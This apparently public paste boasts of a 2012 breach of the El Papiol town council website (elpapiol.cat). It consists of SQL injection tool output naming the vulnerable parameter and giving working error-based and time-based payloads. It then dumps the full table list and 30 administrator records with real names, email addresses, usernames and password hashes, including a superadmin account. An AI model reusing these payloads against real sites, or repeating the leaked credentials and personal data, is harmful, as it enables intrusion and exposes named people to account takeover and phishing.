Don't like ads? PRO users don't see any ads ;-)
Public Pastes

Elpapiol.cat Hacked By Reasen

By: Reasen on Aug 1st, 2012  |  syntax: None  |  size: 22.46 KB  |  hits: 60  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. Identified the following injection points with a total of 180 HTTP(s) requests:
  2. ---
  3. Place: GET
  4. Parameter: directoriapartat
  5.     Type: error-based
  6.     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  7.     Payload: apartat=&directoriapartat=1 AND (SELECT 6265 FROM(SELECT COUNT(*),CONCAT(0x3a7666683a,(SELECT (CASE WHEN (6265=6265) THEN 1 ELSE 0 END)),0x3a7164613a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  8.  
  9.     Type: AND/OR time-based blind
  10.     Title: MySQL > 5.0.11 AND time-based blind
  11.     Payload: apartat=&directoriapartat=1 AND SLEEP(5)
  12. ---
  13.  
  14. available databases [2]:
  15. [*] elpapiol
  16. [*] information_schema
  17.  
  18. Identified the following injection points with a total of 0 HTTP(s) requests:
  19. ---
  20. Place: GET
  21. Parameter: directoriapartat
  22.     Type: error-based
  23.     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  24.     Payload: apartat=&directoriapartat=1 AND (SELECT 6265 FROM(SELECT COUNT(*),CONCAT(0x3a7666683a,(SELECT (CASE WHEN (6265=6265) THEN 1 ELSE 0 END)),0x3a7164613a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  25.  
  26.     Type: AND/OR time-based blind
  27.     Title: MySQL > 5.0.11 AND time-based blind
  28.     Payload: apartat=&directoriapartat=1 AND SLEEP(5)
  29. ---
  30.  
  31. Database: elpapiol
  32. [324 tables]
  33. +--------------------------------------+
  34. | actes                                |
  35. | actesstats                           |
  36. | actestipus                           |
  37. | agenda                               |
  38. | agenda_subscripcions                 |
  39. | agendacategories                     |
  40. | agendahoraris                        |
  41. | agendaimatges                        |
  42. | agendarecursos                       |
  43. | agendarelaciocategories              |
  44. | agendarelaciodirectoris              |
  45. | agendarelacioseccions                |
  46. | agendastats                          |
  47. | aliesdomini                          |
  48. | apartats                             |
  49. | apartatsimatges                      |
  50. | apartatsplantilles                   |
  51. | apartatspresentacio                  |
  52. | apartatsrecursos                     |
  53. | apartatsrelacioseccions              |
  54. | apartatsstats                        |
  55. | ar                                   |
  56. | aragenda                             |
  57. | aragendahoraris                      |
  58. | aragendastats                        |
  59. | arapartats                           |
  60. | arapartatsimatges                    |
  61. | arapartatspresentacio                |
  62. | arapartatsrecursos                   |
  63. | arapartatsstats                      |
  64. | ararxiuimatges                       |
  65. | arforumdocs                          |
  66. | arforummissatges                     |
  67. | armillores                           |
  68. | arrecursos                           |
  69. | arrecursosstats                      |
  70. | arrelacioseccions                    |
  71. | arusuaris                            |
  72. | arusuarislogs                        |
  73. | arxiuimatges                         |
  74. | arxiuimatgescategories               |
  75. | arxiuimatgesenviades                 |
  76. | arxiuimatgesrelaciocategories        |
  77. | avisos                               |
  78. | bancespais                           |
  79. | banners                              |
  80. | bannersrelacioseccions               |
  81. | bannersstats                         |
  82. | blocs                                |
  83. | campanyes                            |
  84. | campanyescategories                  |
  85. | campanyesconfiguracio                |
  86. | campanyesimatges                     |
  87. | campanyesrecursos                    |
  88. | campanyesrelaciocategories           |
  89. | campanyesrelaciodirectori            |
  90. | campanyesrelaciodirectoris           |
  91. | campanyesrelacioseccions             |
  92. | campanyesrelacioserveis              |
  93. | campanyesrelaciotramits              |
  94. | campanyesstats                       |
  95. | camps                                |
  96. | cataleg                              |
  97. | catalegcategories                    |
  98. | catalegconfiguracio                  |
  99. | catalegcronologic                    |
  100. | catalegimatges                       |
  101. | catalegrecursos                      |
  102. | catalegrelaciocategories             |
  103. | catalegrelaciocronologic             |
  104. | catalegrelaciodirectori              |
  105. | catalegrelaciodirectoris             |
  106. | catalegrelacioseccions               |
  107. | catalegrelaciotipus                  |
  108. | catalegrelaciotramits                |
  109. | catalegstats                         |
  110. | catalegtipus                         |
  111. | concursos                            |
  112. | concursosconfiguracio                |
  113. | concursosrecursos                    |
  114. | concursosrelacioseccions             |
  115. | concursosstats                       |
  116. | contractaciopublica                  |
  117. | contractaciopublicacategories        |
  118. | contractaciopublicarecursos          |
  119. | contractaciopublicarelaciocategories |
  120. | contractaciopublicarelaciodirectoris |
  121. | contractaciopublicarelacioseccions   |
  122. | contractaciopublicastats             |
  123. | control                              |
  124. | convocatories                        |
  125. | convocatoriesconfiguracio            |
  126. | convocatoriespremsa                  |
  127. | convocatoriespremsaimatges           |
  128. | convocatoriespremsarecursos          |
  129. | convocatoriespremsarelacioseccions   |
  130. | convocatoriespremsastats             |
  131. | convocatoriesrecursos                |
  132. | convocatoriesrelacioseccions         |
  133. | convocatoriesstats                   |
  134. | cron                                 |
  135. | cursos                               |
  136. | cursoscategories                     |
  137. | cursosperfils                        |
  138. | cursosrecursos                       |
  139. | cursosrelaciosubcategories           |
  140. | cursosstats                          |
  141. | cursossubcategories                  |
  142. | directori                            |
  143. | directoriapartats                    |
  144. | directoricategories                  |
  145. | directoriimatges                     |
  146. | directorimodul                       |
  147. | directorirecursos                    |
  148. | directorirelacioapartats             |
  149. | directorirelaciodirectoris           |
  150. | directorirelacioseccions             |
  151. | directorispresentacio                |
  152. | directoristats                       |
  153. | dominis                              |
  154. | dossiers                             |
  155. | dossiersimatges                      |
  156. | dossiersmoduls                       |
  157. | dossierspagines                      |
  158. | dossierspaginesrelacioseccions       |
  159. | dossierspaginesstats                 |
  160. | dossiersplantilles                   |
  161. | dossiersplantillescontigut           |
  162. | dossiersplantillespagines            |
  163. | dossierspresentacio                  |
  164. | dossiersrelacioseccions              |
  165. | edats                                |
  166. | enquestes                            |
  167. | enquestespreguntes                   |
  168. | enquestesrelacioseccions             |
  169. | enquestesresultats                   |
  170. | enquestesstats                       |
  171. | entitats                             |
  172. | estudis                              |
  173. | forms                                |
  174. | formscamps                           |
  175. | formsgrups                           |
  176. | formsregistre                        |
  177. | formsresults                         |
  178. | formsstats                           |
  179. | forummissatges                       |
  180. | forums                               |
  181. | forumsrelacioseccions                |
  182. | gestiodominiparametresfrontal        |
  183. | gestioparametresfrontal              |
  184. | gestioseccionsfrontal                |
  185. | gestors                              |
  186. | gestorsgrups                         |
  187. | gestorspermisos                      |
  188. | guies                                |
  189. | guiesconceptes                       |
  190. | guiesconceptesstats                  |
  191. | guiesprojectes                       |
  192. | guiesprojectescategories             |
  193. | guiesprojectesstats                  |
  194. | guiesrespostes                       |
  195. | guiesrespostesstats                  |
  196. | lagenda                              |
  197. | lagendacategories                    |
  198. | llibrevisites                        |
  199. | llibrevisitesconfiguracio            |
  200. | llibrevisitesparametres              |
  201. | logextranet                          |
  202. | loggestors                           |
  203. | logparticipacio                      |
  204. | logs                                 |
  205. | logsextranet                         |
  206. | logsusuaris                          |
  207. | logusuaris                           |
  208. | millores                             |
  209. | mitjanscomunicacio                   |
  210. | mitjanscomunicacioambits             |
  211. | municipis                            |
  212. | notespremsa                          |
  213. | notespremsaimatges                   |
  214. | notespremsarecursos                  |
  215. | notespremsarelacioseccions           |
  216. | notespremsastats                     |
  217. | noticies                             |
  218. | noticies_subscripcions               |
  219. | noticiescategories                   |
  220. | noticiesimatges                      |
  221. | noticiesrecursos                     |
  222. | noticiesrelaciocategories            |
  223. | noticiesrelaciodirectoris            |
  224. | noticiesrelacioseccions              |
  225. | noticiesstats                        |
  226. | ordenances                           |
  227. | ordenancesarticles                   |
  228. | ordenancescapitols                   |
  229. | ordenancesseccions                   |
  230. | ordenancesstats                      |
  231. | ordenancestipus                      |
  232. | participaciomissatges                |
  233. | participacioparticipants             |
  234. | participaciosectors                  |
  235. | participaciotemes                    |
  236. | perfildominis                        |
  237. | peus                                 |
  238. | peusstats                            |
  239. | plantillesbutlletins                 |
  240. | plantillesbutlletinsmoduls           |
  241. | plantillescontingut                  |
  242. | plantillescontingutmoduls            |
  243. | portada                              |
  244. | portalentitats                       |
  245. | portalentitatsforumforums            |
  246. | portalentitatsforummissatges         |
  247. | portalentitatslog                    |
  248. | portalentitatsnoticies               |
  249. | portalentitatsnoticiesimatges        |
  250. | portalentitatspresentacio            |
  251. | portalentitatssolicitudsparticipacio |
  252. | productes                            |
  253. | productescaracteristiques            |
  254. | productescategories                  |
  255. | productesrelaciocaracteristiques     |
  256. | productesrelaciocategories           |
  257. | productestipus                       |
  258. | productestipusconfiguracio           |
  259. | programes                            |
  260. | programesambits                      |
  261. | programesdirectori                   |
  262. | programesinstitucions                |
  263. | programesprojectes                   |
  264. | programesprojectesstats              |
  265. | programesrelacioseccions             |
  266. | questionaris                         |
  267. | questionarispreguntes                |
  268. | questionarisrelacioseccions          |
  269. | questionarisresultats                |
  270. | questionarisstats                    |
  271. | radiograella                         |
  272. | radiograellaprogrames                |
  273. | radioprogrames                       |
  274. | radioprogramescategories             |
  275. | radioprogramesstats                  |
  276. | radiotvpodcast                       |
  277. | radiotvpodcaststats                  |
  278. | radiotvprogrames                     |
  279. | radiotvprogramescategories           |
  280. | radiotvprogrameshoraris              |
  281. | radiotvprogramesimatges              |
  282. | radiotvprogramesrecursos             |
  283. | radiotvprogramesrelacioseccions      |
  284. | radiotvprogramesstats                |
  285. | rebutjatcomentaris                   |
  286. | recullpremsa                         |
  287. | recullpremsarecursos                 |
  288. | recullpremsarelacioseccions          |
  289. | recullpremsastats                    |
  290. | recursos                             |
  291. | recursoscategories                   |
  292. | recursosextensions                   |
  293. | recursosrelaciocategories            |
  294. | recursosstats                        |
  295. | rss                                  |
  296. | rsslectors                           |
  297. | rsssubscripcions                     |
  298. | rssusuaricaixes                      |
  299. | seccions                             |
  300. | serveis                              |
  301. | serveiscategories                    |
  302. | serveisconfiguracio                  |
  303. | serveisimatges                       |
  304. | serveisrecursos                      |
  305. | serveisrelaciocategories             |
  306. | serveisrelaciodirectori              |
  307. | serveisrelaciodirectoris             |
  308. | serveisrelacioseccions               |
  309. | serveisrelaciotramits                |
  310. | serveisstats                         |
  311. | sms                                  |
  312. | smsconfiguracio                      |
  313. | smsenviaments                        |
  314. | smsproces                            |
  315. | smssubscripcionsmoduls               |
  316. | statsbotsexclosos                    |
  317. | statsipsexcloses                     |
  318. | statsresolucions                     |
  319. | statsvisites                         |
  320. | subscripcions                        |
  321. | subscripcionsbutlletins              |
  322. | subscripcionsbutlletinsmoduls        |
  323. | subscripcionsbutlletinsseleccio      |
  324. | subscripcionsenviaments              |
  325. | subscripcionsproces                  |
  326. | subscripcionssubscrits               |
  327. | subscripcionstextos                  |
  328. | subscrits                            |
  329. | subscritssms                         |
  330. | tauler                               |
  331. | tauleranuncis                        |
  332. | tauleranuncis_subscripcions          |
  333. | tauleranunciscategories              |
  334. | tauleranuncisrecursos                |
  335. | tauleranuncisrelaciocategories       |
  336. | tauleranuncisrelaciodirectoris       |
  337. | tauleranuncisrelacioseccions         |
  338. | tauleranuncisstats                   |
  339. | textos                               |
  340. | tramits                              |
  341. | tramitscategories                    |
  342. | tramitsconfiguracio                  |
  343. | tramitsperfils                       |
  344. | tramitsrecursos                      |
  345. | tramitsrelaciocategories             |
  346. | tramitsrelaciodirectori              |
  347. | tramitsrelaciodirectoris             |
  348. | tramitsrelacioseccions               |
  349. | tramitsstats                         |
  350. | usuaris                              |
  351. | valors                               |
  352. | websinteres                          |
  353. | websinterescategories                |
  354. | websinteresrelaciocategories         |
  355. | websinteresrelacioseccions           |
  356. | websinteresstats                     |
  357. | wlansubscrits                        |
  358. +--------------------------------------+
  359.  
  360. Identified the following injection points with a total of 0 HTTP(s) requests:
  361. ---
  362. Place: GET
  363. Parameter: directoriapartat
  364.     Type: error-based
  365.     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  366.     Payload: apartat=&directoriapartat=1 AND (SELECT 6265 FROM(SELECT COUNT(*),CONCAT(0x3a7666683a,(SELECT (CASE WHEN (6265=6265) THEN 1 ELSE 0 END)),0x3a7164613a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  367.  
  368.     Type: AND/OR time-based blind
  369.     Title: MySQL > 5.0.11 AND time-based blind
  370.     Payload: apartat=&directoriapartat=1 AND SLEEP(5)
  371. ---
  372.  
  373. Database: elpapiol
  374. Table: gestors
  375. [11 columns]
  376. +-----------------+---------------------+
  377. | Column          | Type                |
  378. +-----------------+---------------------+
  379. | bloquejat       | tinyint(1) unsigned |
  380. | canviarpassword | tinyint(1) unsigned |
  381. | codi            | int(10) unsigned    |
  382. | dominis         | text                |
  383. | DUM             | timestamp           |
  384. | email           | varchar(100)        |
  385. | entitat         | int(10) unsigned    |
  386. | nom             | varchar(100)        |
  387. | password        | varchar(100)        |
  388. | tipus           | enum('C','A','3')   |
  389. | usuari          | varchar(16)         |
  390. +-----------------+---------------------+
  391.  
  392.  
  393.  
  394. Identified the following injection points with a total of 0 HTTP(s) requests:
  395. ---
  396. Place: GET
  397. Parameter: directoriapartat
  398.     Type: error-based
  399.     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  400.     Payload: apartat=&directoriapartat=1 AND (SELECT 6265 FROM(SELECT COUNT(*),CONCAT(0x3a7666683a,(SELECT (CASE WHEN (6265=6265) THEN 1 ELSE 0 END)),0x3a7164613a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  401.  
  402.     Type: AND/OR time-based blind
  403.     Title: MySQL > 5.0.11 AND time-based blind
  404.     Payload: apartat=&directoriapartat=1 AND SLEEP(5)
  405. ---
  406.  
  407. Database: elpapiol
  408. Table: gestors
  409. [30 entries]
  410. +-----------------------------------+------------------------------------+
  411. | email                             | nom                                |
  412. +-----------------------------------+------------------------------------+
  413. | criadopa@diba.cat                 | Alicia Criado                      |
  414. | criadopa@diba.cat                 | Alicia Criado                      |
  415. | jaume@badrenas.com                | Badrenas Buscart, Jaume            |
  416. | cabestanyns@elpapiol.cat          | Cabestany Negredo, Sara            |
  417. | isp@creacom.es                    | Creacom                            |
  418. | NULL                              | Diputaci\xf3 de Barcelona          |
  419. | NULL                              | Diputaci\xf3 de Barcelona          |
  420. | gestio@emfasic.om                 | \xc8mfasi Comunicaci\xf3 (cron)    |
  421. | emm.mpongiluppi@elpapiol.cat      | Faura Salvador, Montserrat         |
  422. | floresct@elpapiol.cat             | Flores Campodarbe, Tom\xe0s        |
  423. | gironcb@diba.cat                  | Gir\xf3n Camacho, Balbina          |
  424. | gonzalezcar@elpapiol.cat          | Gonzalez Cloquell, arnau           |
  425. | guardiast@elpapiol.cat            | Guardia Sanchez, Tanit             |
  426. | pousaj@diba.cat                   | Josep Pous Alo                     |
  427. | mediambient.elpapiol@elpapiol.cat | Judit Solana Pons                  |
  428. | esports.elpapiol@diba.cat         | Labella Lorite, Jose               |
  429. | landajopm@elpapiol.cat            | Landajo Porta, M\xf2nica           |
  430. | lopezgm                           | Lopez Gerez, M del Mar             |
  431. | majoaa@diba.cat                   | Maj\xf3 i Amig\xf3, Antoni         |
  432. | boschrm@diba.cat                  | Margarida Bosch                    |
  433. | boschrm@diba.cat                  | Margarida Bosch (administraci\xf3) |
  434. | NULL                              | Miquel                             |
  435. | comunicacio.papiol@diba.cat       | Oriol Costa                        |
  436. | alujasmo@diba.cat                 | Oscar Alujas                       |
  437. | paloucl@diba.cat                  | Palou Catas\xfas, laura            |
  438. | elpapiol@cpnl.cat                 | Sanchez Roig, Ester                |
  439. | NULL                              | Superadministrador                 |
  440. | torrasbm@diba.cat                 | Torras Bozzo, Marc                 |
  441. | iriarteaa@diba.cat                | Ver\xf2nica Iriarte Almada         |
  442. | viveshp@elpapiol.cat              | Vives Herrera, Pere                |
  443. +-----------------------------------+------------------------------------+
  444.  
  445. Identified the following injection points with a total of 0 HTTP(s) requests:
  446.  
  447. ---
  448. Place: GET
  449. Parameter: directoriapartat
  450.     Type: error-based
  451.     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  452.     Payload: apartat=&directoriapartat=1 AND (SELECT 6265 FROM(SELECT COUNT(*),CONCAT(0x3a7666683a,(SELECT (CASE WHEN (6265=6265) THEN 1 ELSE 0 END)),0x3a7164613a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  453.  
  454.     Type: AND/OR time-based blind
  455.     Title: MySQL > 5.0.11 AND time-based blind
  456.     Payload: apartat=&directoriapartat=1 AND SLEEP(5)
  457.  
  458. ---
  459.  
  460.  
  461.  
  462. Database: elpapiol
  463. Table: gestors
  464. [30 entries]
  465.  
  466. [+] Passwords encrypted in MySQL 160bit - SHA-1(SHA-1($pass))
  467.  
  468. +-----------------+-------------------------------------------+---------------+
  469. | canviarpassword | password                                  | usuari        |
  470. +-----------------+-------------------------------------------+---------------+
  471. | 0               | *1A7BA4BCEFF63FBE9464718191313671F4A3410F | Miquel        |
  472. | 0               | *EF1CA61551AE604E7F55F2EC32F2A59C9CAA747A | alujasmo      |
  473. | 0               | *A0FE0489F17E78F4333CDD9BC326A8676086A817 | badrenasbj    |
  474. | 0               | *5EDE5FEA30DD3405202CF10DACBE146F18019562 | boschrm       |
  475. | 0               | *AFBA94031E012DAA67282342C2B41821844A9D8A | boschrmadmin  |
  476. | 0               | *9296BEA51A3EB4BB13BF00E6BBB3B177476BF0DD | cabestanyns   |
  477. | 0               | *D95AAD49D470F25693EB3FBD9E753D696FAEC510 | costako       |
  478. | 0               | *FEB0E6A4EA42A11EA63EB9AF4C26DE71D7EC8C31 | creacom       |
  479. | 0               | *6ECC2FF16E5333B79998D353FE965B972E6FE9E2 | criadopa      |
  480. | 0               | *281790E077DB71A847F08F876E6FFC33DE5B7C4D | criadopaadmin |
  481. | 0               | *C794F309B5DBCAE7EE07EEB596DA5491BC125D11 | cront         |
  482. | 0               | *117C833EA96D9B0BB0B14E2F416F3515B5BA5C68 | diba          |
  483. | 0               | *C14B9D734275EF019B753BFD41ABB21A21DF49D1 | dibaadmin     |
  484. | 0               | *ED5FB49F1AB68B43FC7846FDBA635CE988CA73D2 | faurasm       |
  485. | 0               | *C4AEC76514A6BA4BD4AC56B4A7D1C831845773F2 | floresct      |
  486. | 0               | *7B1DAEC6D3326385584705950037467A4463AD4C | gironcb       |
  487. | 1               | *00F89096B936562285144793982D5D0F2DC96FD3 | gonzalezcar   |
  488. | 1               | *B11FA3ACEC8A7ACAF28C8011715DD5795CD1F5DB | guardiast     |
  489. | 1               | *8F20011BA5DA1B5506388A87ECB96229DE552502 | iriarteav     |
  490. | 0               | *D606100493EE814BE1A4EBC10A7D71F5CF449751 | labellalj     |
  491. | 0               | *C24705E63AF6F525F24FEA6133A179FA54E8F687 | landajopm     |
  492. | 0               | *4796C3D264E49928A623C3B220AD5D5F3EB16B4F | lopezgm       |
  493. | 0               | *BAA8C082A419D36E37090F38AF216D559F7A45E0 | majoaa        |
  494. | 0               | *6AAE9E44EB14985318ABB02DCD8B8D35EBB0F68B | paloucl       |
  495. | 0               | *30623C1C1A9D7A527F70716830B13A6E972E65F1 | pousaj        |
  496. | 0               | *537C0414A657190815B1538215F4F5103877EA96 | sanchezre     |
  497. | 0               | *5FAEE973F0097D65EF7F5CE4B7CB5D90A6D5AE78 | solanapj      |
  498. | 0               | *3397B5AD8935AEBFF107768D8D1D016AB004D1E5 | superadmin    |
  499. | 1               | *90CD78303B59ED609AB6CE7346CCC18764EAD0C1 | torrasbm      |
  500. | 0               | *39704720D94984EBCE6072E529FA22715C17EE2C | viveshp       |
  501. +-----------------+-------------------------------------------+---------------+
create a new version of this paste RAW Paste Data